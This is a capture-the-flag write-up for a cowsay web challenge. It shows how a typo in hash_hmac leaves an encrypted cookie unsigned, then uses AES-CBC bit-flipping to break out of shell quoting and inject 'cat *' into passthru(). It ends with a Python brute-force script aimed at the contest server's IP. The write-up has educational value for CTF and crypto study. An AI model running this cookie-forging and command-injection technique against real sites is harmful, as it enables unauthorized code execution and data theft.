This Web challenge was part of the ebCTF competition. It’s actually more crypto than web. We get a simple web site driving the famous cowsay binary:
define('MY_AES_KEY', CENSORED);
define('MY_HMAC_KEY', CENSORED);
define("FLAG","CENSORED");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
$settings = @unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
$settings = array(
'name' => $_POST['name'],
'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
}
if (@$settings['greeting']) {
echo "<pre>\n";
passthru($settings['greeting']);
echo "</pre>\n";
} else {
echo "<form action="?" method="POST">\n";
echo "<p>What is your name?</p>\n";
echo "<input type="text" name="name" />\n";
echo "<input type="submit" name="submit" value="Submit" />\n";
echo "</form>\n";
}
Step 1: The form
Step 2: The result
The POST parameter is properly sanitized when passed to passthru() with the help of escapeshellargs() (works like mysql_real_escape_string() but for shell commands)
We also get a cookie with the result:
Set-Cookie: settings=bLuTJcHxN%2FJovq6014VC%2BT6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8%2BOVKNoptb8uJBQqcbH2HPbkxNWq%2BMkmiNi98MC1GGoBSa66SWxTTQodPfQ%3D%3D
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 05 Aug 2013 08:34:09 GMT
This cookie is an encrypted and signed session:
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
$settings = array(
'name' => $_POST['name'],
'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
So the format is:
base64 ( aes|cbc( a:2:{s:4:”name”;s:3:”aXs”;s:8:”greeting”;s:19:”cowsay ‘Hello aXs!'”;} + hmac( a:2:{s:4:”name”;s:3:”aXs”;s:8:”greeting”;s:19:”cowsay ‘Hello aXs!'”;} ) )
Result:
bLuTJcHxN/Jovq6014VC+T6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8+OVKNoptb8uJBQqcbH2HPbkxNWq+MkmiNi98MC1GGoBSa66SWxTTQodPfQ==
00000000 6c bb 93 25 c1 f1 37 f2 68 be ae b4 d7 85 42 f9 |l».%Áñ7òh¾®´×.Bù|
00000010 3e 8e 51 1b 35 56 22 b5 81 b1 d6 53 6b 27 de 3a |>.Q.5V”µ.±ÖSk’Þ:|
00000020 11 ba 25 1b da f3 e9 1f 27 19 62 73 00 16 40 74 |.º%.Úóé.’.bs..@t|
00000030 0f a5 e1 d4 30 c1 c8 e2 ec f3 bf 55 11 21 44 17 |.¥áÔ0ÁÈâìó¿U.!D.|
00000040 c0 4f 4c e0 bc f8 e5 4a 36 8a 6d 6f cb 89 05 0a |ÀOLà¼øåJ6.moË…|
00000050 9c 6c 7d 87 3d b9 31 35 6a be 32 49 a2 36 2f 7c |.l}.=¹15j¾2I¢6/||
00000060 30 2d 46 1a 80 52 6b ae 92 5b 14 d3 42 87 4f 7d |0-F..Rk®.[.ÓB.O}|
Since we don’t know the AES key or IV used for the encryption, all we can do is play with bitflipping in the data part of the ciphertext but then we will fail the HMAC verification and our cookie will be rejected right ?
Lets try with username “Big-Daddy”:
jdTuryVcfoYRxI09MJlQ2WfAxH3vl1ECNW+8sfaPvWhzdkR2ikidt9N9AwIvjLSkEK7SMGE2J3mMWhsvHaeuzzP+QIjjWWC8i1Y7CLxyVex2Mt9xiy67+cl55mSfSGGXVBxl05PNGDQcmJ+Af1LKEXO4qw/zlaLgA4e3ZZe8lWU=
00000000 8d d4 ee af 25 5c 7e 86 11 c4 8d 3d 30 99 50 d9 |.Ôî¯%\~..Ä.=0.PÙ|
00000010 67 c0 c4 7d ef 97 51 02 35 6f bc b1 f6 8f bd 68 |gÀÄ}ï.Q.5o¼±ö.½h|
00000020 73 76 44 76 8a 48 9d b7 d3 7d 03 02 2f 8c b4 a4 |svDv.H.·Ó}../.´¤|
00000030 10 ae d2 30 61 36 27 79 8c 5a 1b 2f 1d a7 ae cf |.®Ò0a6’y.Z./.§®Ï|
00000040 33 fe 40 88 e3 59 60 bc 8b 56 3b 08 bc 72 55 ec |3þ@.ãY`¼.V;.¼rUì|
00000050 76 32 df 71 8b 2e bb f9 c9 79 e6 64 9f 48 61 97 |v2ßq..»ùÉyæd.Ha.|
00000060 54 1c 65 d3 93 cd 18 34 1c 98 9f 80 7f 52 ca 11 |T.eÓ.Í.4…..RÊ.|
00000070 73 b8 ab 0f f3 95 a2 e0 03 87 b7 65 97 bc 95 65 |s¸«.ó.¢à..·e.¼.e|
Indeed the HMAC part looks different but remember that the HMAC is AES encrypted as well so you can’t rely on the ciphertext to tell if HMAC is working properly or not.
For this we need to master the Ancient Black Art of Source Code Staring. Look at this piece of code, LOOK AT IT UNTIL YOU SEE IT.
Yes, there is a typo in the second parameter of hash_hmac(), it’s missing the dollar sign. PHP will happily interpret this as ‘data’ being a fixed string instead of dynamic user content.
So basically the HMAC will always be sha1(“data”.MY_HMAC_KEY). Otherwise said the HMAC is not protecting the cookie content at all, we can freely modify it.
Lets take look again at the cookie content:
a:2:{s:4:”name”;s:3:”aXs”;s:8:”greeting”;s:19:”cowsay ‘Hello aXs!'”;}
The “greeting” key of this array will be used directly with passthru():
passthru() will invoke execve(“/bin/sh”, “-c”, $cmd), so we can use Bash shell command injection technics.
What we need to do:
– Get rid of the pesky single quote after cowsay : bitflip in AES block to turn single quote into garbage
– Inject our shell command to display the content of index.php : cat *
– Get rid of another pesky single quote and the bash symbol, to avoid them being interpreted : use the Bash comment symbol: #
Playing with bitflip in AES ciphertext will corrupt the whole 16 bytes AES block with garbage so we need to align this block with the part of the string we want to destroy (cowsay + single quote)
Using a bit of trial and error we come up with this username:
We post it on the form and get the familiar cow and our encrypted cookie:
Foey1ZSxpB8ouL8Z/LRCryTetO4z/rI+1h7/MAMgCHEjapwTE+5/JnDFeXR0GYjLVT+36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa+Oei+o/vcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R+90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY+GnK4aStOJXtIVfczF+FWCJEITmgZMDFmrVafG+LwPUByot8KRka57RAE8PgD8bu+ErVXpqIZwW9bOfJUD74E
We are ready for the bit-flipping with a little Python script that will repeatedly corrupt the AES block with different a value until we get one that produce garbage still good enough to be accepted by Bash as a valid command-line:
import urllib
import base64
ip = '54.216.166.38'
port = 80
a = base64.b64decode(urllib.unquote("Foey1ZSxpB8ouL8Z%2FLRCryTetO4z%2FrI%2B1h7%2FMAMgCHEjapwTE%2B5%2FJnDFeXR0GYjLVT%2B36APfX41V1Ftn2bj9fDoEri1vQtCpBzNFLpNdHa%2BOei%2Bo%2FvcVJmjHlklha9p4dy3fpgd6LTSCE5ejpt78cnfWD1R%2B90wnkUXIOPtk2P9EHngQGxsxFdJb7cT5mUhEPgXqDieO2mA0GNPFm7FRlnltgLjcO3T5JnQOdVXMRPY%2BGnK4aStOJXtIVfczF%2BFWCJEITmgZMDFmrVafG%2BLwPUByot8KRka57RAE8PgD8bu%2BErVXpqIZwW9bOfJUD74E"))
for i in xrange(1,20):
print "i=", i
b = a[0:118] + chr(i) + a[119:]
tn = telnetlib.Telnet(ip, port)
s = tn.get_socket()
payload = "GET / HTTP/1.0\r\n"
payload += "Host: "+ ip + "\r\n"
payload += "Cookie: settings=" + urllib.quote(base64.b64encode(b)) + "\r\n"
payload += "\r\n"
s.send(payload)
print s.recv(4096)
This will eventually spit out the index.php source code with the hidden flag.